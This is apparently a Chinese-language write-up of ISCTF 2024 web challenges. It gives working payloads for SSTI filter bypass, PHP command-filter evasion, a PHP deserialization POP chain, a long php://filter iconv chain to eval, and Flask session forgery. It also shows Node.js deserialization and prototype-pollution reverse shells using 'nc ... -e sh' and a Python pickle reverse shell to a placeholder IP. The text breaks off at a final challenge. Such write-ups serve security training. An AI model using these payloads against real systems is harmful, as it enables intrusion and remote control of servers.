2024 ISCTF web详解
Werqy3 发表于 湖南 CTF 948浏览 · 2024-11-14 04:54

25时晓山瑞希生日会


要Project Sekai的客户端请求
一看就是UA了

本地就是X-Forwarded-For

正确的时间就是25时也就是第二天一点

题目又说5点

得到flag

ezSSTI

经过fuzz发现过滤了_和[]
直接用现成的payload打

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}


用burp发包才能成功

1z_php

<?php
highlight_file('index.php');

#一句话木马,神神又奇奇

if(isset($_POST['J'])){
    $call=$_POST['J'];
    $dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
    foreach ($dangerous_commands as $command) {
        if (preg_match("/$command/i", $call)) {
            die("这些个危险函数可不兴使啊");
        }
    }
    system($call);
}
?>

一眼秒

ca\t /f*

ezrce

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
        die("Blocked by security filter!");
    } else {
        eval($cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

过滤了一些常见的命令执行方式。但是一些符号没有禁
可以取反绕过



取反脚本

<?
$A="cat /f*";
echo urlencode(~$A);

还可以文件包含

小蓝鲨的秘密

打开环境一闪而过出来一个网址

有点像重定向,在点环境的时候抓个包

这个才是环境地址

flag就在这

天命人

1.jpeg
<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;

    function __get($j)
    {
        echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
        $yin="s214587387a";
        $yang=$_GET['J'];
        if (md5($yin)==$yang&&md5($yin)==md5($yang)){
            echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
            system('cat /flag');
        }
    }
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
    function __get($huo)
    {
        $this->huoyan="火眼能洞察一切邪祟!<br>";
        echo $this->huoyan->jinjing;
    }
    function __invoke()
    {
        $this->jinjing="金睛能看破世间迷惘!<br>";
        echo $this->huoyan->jinjing;
    }
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;

    function __toString()
    {
        $f=$this->yun;
        $f();
        return "你真的逃出去了吗?天命人?<br>";
    }
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";

    function __sleep()
    {
        echo "三更敲门,菩提老祖送我筋斗云...<br>";
        echo new Jindouyun();
    }
}
class Tianmingren {
    public $tianming;
    public $ren;
    function __destruct()
    {
        echo "迷途中的羔羊,你相信天命吗?<br>";
        echo $this->tianming;
    }
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>

链子:Tianmingren(destruct())-> Dinghaishenzhen(toString())->Huoyanjinjing(invoke())->Wuzhishan(get())
开始写pop链

<?php
class Wuzhishan{
    public $wu;
    public $zhi;
    public $shan;

    function __get($j)
    {
        echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
        $yin="s214587387a";
        $yang=$_GET['J'];
        if (md5($yin)==$yang&&md5($yin)==md5($yang)){
            echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
            system('cat /flag');
        }
    }
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
    function __get($huo)
    {
        $this->huoyan="火眼能洞察一切邪祟!<br>";
        echo $this->huoyan->jinjing;
    }
    function __invoke()
    {
        $this->jinjing="金睛能看破世间迷惘!<br>";
        echo $this->huoyan->jinjing;
    }
}
class Dinghaishenzhen{
    public $Jindou;
    public $yun;

    function __toString()
    {
        $f=$this->yun;
        $f();
        return "你真的逃出去了吗?天命人?<br>";
    }
}
class Jingdouyun{
    public $Qishier=72;
    public $bian;

    function __sleep()
    {
        echo "三更敲门,菩提老祖送我筋斗云...<br>";
        echo new Jindouyun();
    }
}
class Tianmingren {
    public $tianming;
    public $ren;
    function __destruct()
    {
        echo "迷途中的羔羊,你相信天命吗?<br>";
        echo $this->tianming;
    }
} 
$A=new Tianmingren();
$B=new Dinghaishenzhen();
$C=new Huoyanjinjing();
$D=new Wuzhishan();
$A->tianming=$B;
$B->yun=$C;
$C->huoyan=$D;
echo serialize($A);

最后一关绕过MD5,值相等一搜J=0e215962017
还有一个throw new Exception
序列化之后是

把3改成0即可绕过

ezlogin

一道利用Node.js反序列化漏洞执行远程代码
进入环境

扫一下目录发现/login路由

查看一下题目给的附件源码

function auth(req, res, next) {
  if(req.cookies.token){
    const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
    if (!user.username) {
        return res.status(401).redirect('/login');
    }
  }else{
    return res.status(401).redirect('/login');
  }
  next();
}

漏洞点就在这,再结合https://cloud.tencent.com/developer/article/1374840这篇文章构造出payload

_$$ND_FUNC$$_function (){require('child_process').exec('nc ip port -e sh')}()

注册一个_$$ND_FUNC$$_function (){require('child_process').exec('nc ip port -e sh')}()的账号
然后再登录就可以触发反序列化漏洞了

成功弹到shell

ezejs

app.post('/UserList',(req,res) => {
    user = req.body
    const blacklist = ['\\u','outputFunctionName','localsName','escape']
    const hacker = JSON.stringify(user)
    for (const pattern of blacklist){
        if(hacker.includes(pattern)){
          res.status(200).json({"message":"hacker!"});
          return 
    } 
}

在/UserList路由下存在原型链污染

{
    "__proto__":{
    "destructuredLocals":[
        "a=a;global.process.mainModule.require('child_process').execSync('nc IP 6666 -e /bin/sh');//var __tmp2"
    ]
    }
}

发包

然后再访问/
成功弹到shell

千年樱

<?php
include "dir.php";
highlight_file(__FILE__);

echo "proof of work<br>";

if($_COOKIE['from'] === "ISCTF"){
    echo $dir1;
}
else{
    die('what? so where are you from?');
}

// <!-- do you want to learn more?  goto story.txt -->
?> proof of work
what? so where are you from?

Cookie传一个from

访问/get_contents_qwerghjkl.php
POST传一个name

访问/well_down_mlpnkobji.php

<!DOCTYPE html>
<html>
<head>
    <title>read! read! read! we need read!!!</title>
</head>
<body style="background-image: url('/static/bg2.png'); background-size: cover; background-attachment: fixed; ">
    <?php
    include "dir.php";
    highlight_file(__FILE__);

    function waf($str){
        if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
            die('bad hacker!!!');
        }
    }
    $poc = $_POST['poc'];
    waf($poc);
    $filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
    $result = file_get_contents($filename);
    if($result === "sakura for ISCTF"){
        echo "yes! master!";
        eval($_POST['cmd']);
    }

    if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
        var_dump($result);
    }


    ?>
</body>
</html>

最后一关要搞很多过滤器,有点nao

poc=convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|string.strip_tags&cmd=system('cat f*');


拿下flag

ezlogin

题目源码如下:

from flask import *
import pickle
import base64

app = Flask(__name__)
app.config["SECRET_KEY"] = "W3l1com_isCTF"

class News:
    def __init__(self, title, content) -> None:
        self.title = title
        self.content = content

    def __repr__(self) -> str:
        return f"news(name={self.title}, words={self.content})"

class NewsList:
    def __init__(self) -> None:
        self.news_list = []

    def create_news(self, title, content) -> None:
        news = News(title,content)
        self.news_list.append(news)

    def export_news(self, news_title) -> str | None:
        news = self.get_news(news_title)
        if news is not None:
            self.news_list.remove(news)
            return '删除成功'
        return None

    def add_news(self, serialized_news) -> None:
        try:
            news_data = base64.b64decode(serialized_news)
            black_list = ['create_news','export_news','add_news','get_news']
            for i in black_list:
                if i in str(news_data):
                    return False
            news = pickle.loads(news_data)
            if isinstance(news,News):
                for i in self.news_list:
                    if i.title == news.title:
                        return False
                self.news_list.append(news)
                return True
            return False
        except Exception:
            return False

    def get_news(self, news_title) -> News | None:
        for news in self.news_list:
            if str(news.title) == news_title:
                return news
        return None


newslist = NewsList()

@app.route("/")
def index():
    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'test' and password == 'test111':
            session['username'] = username
            session['password'] = password
            session['status'] = 'user'
            return redirect('/news')
        else:
            session['login_error'] = True               
    return render_template("login.html")

@app.route("/news")
def news():
    news = newslist.news_list
    return render_template("news.html",news = news)

@app.route('/admin',methods=['GET','POST'])
def admin():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")
    news = newslist.news_list
    return render_template("admin.html",news = news)

@app.route("/create", methods=["POST"])
def create_news():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")   
    title = request.form.get('title')
    content = request.form.get('content')
    newslist.create_news(title,content)
    return redirect("/admin")

@app.route("/export", methods=["POST"])
def export_news():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")
    news_title = request.form["title"]
    result = newslist.export_news(news_title)
    if result is not None:
        return jsonify({"result": result})
    else:
        return jsonify({"error": "news not found"})

@app.route("/add", methods=["POST"])
def add_news():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")    
    serialized_news = request.form["serialized_news"]
    if newslist.add_news(serialized_news):
        return redirect("/admin")
    else:
        return jsonify({"error": "Failed to add news"})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

题目首先要我们先进行一个session伪造才能访问/admin
这里可以用那个poc

import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”

加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”
由于题目源码给了srcret的值,所以伪造后的session为:

.eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUkpMyc3MMzIyUtJRKi5JLCkthokBBUqLU4vyEnNT4UK1ADxQGss.ZzHKHA.OpsXt7eDCEtuEEn6DjF7umW8jCY

接下来就可以访问/admin

def add_news(self, serialized_news) -> None:
        try:
            news_data = base64.b64decode(serialized_news)
            black_list = ['create_news','export_news','add_news','get_news']
            for i in black_list:
                if i in str(news_data):
                    return False
            news = pickle.loads(news_data)
            if isinstance(news,News):
                for i in self.news_list:
                    if i.title == news.title:
                        return False
                self.news_list.append(news)
                return True
            return False
        except Exception:
            return False

源码中存在pickle反序列化漏洞
在检验是否为news之前就loads
对于普通的
def reduce(self):
return (eval,("import('os').popen('ls').read()",))
是不可以的,因为他是立刻执行而不是延迟执行,需要类似ping nc这类网络通信的,可以实现,否则执行ls /之后立马就进入if判断导致什么也读不了
所以最后的脚本:

import pickle
import base64

class News:
    def __init__(self, title, content):
        self.title = title
        self.content = content

    def __reduce__(self):
        command = (
            "import socket, subprocess, os;"
            "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);"
            "s.connect((\"ip\", 2333));"
            "os.dup2(s.fileno(), 0); "
            "os.dup2(s.fileno(), 1); "
            "os.dup2(s.fileno(), 2);"
            "subprocess.call([\"/bin/sh\", \"-i\"])"
        )

        return (exec, (command,))

# 创建一个 News 对象
news_obj = News(title="YsYsUY", content="This is a breaking news article.")

# 序列化 News 对象
serialized_news = pickle.dumps(news_obj)

# 对序列化数据进行 base64 编码
encoded_news = base64.b64encode(serialized_news).decode('utf-8')

print(encoded_news)


在这里输入,即可获取shell

ezserialize

<?php
error_reporting(0);

class Flag {
    private $flag;

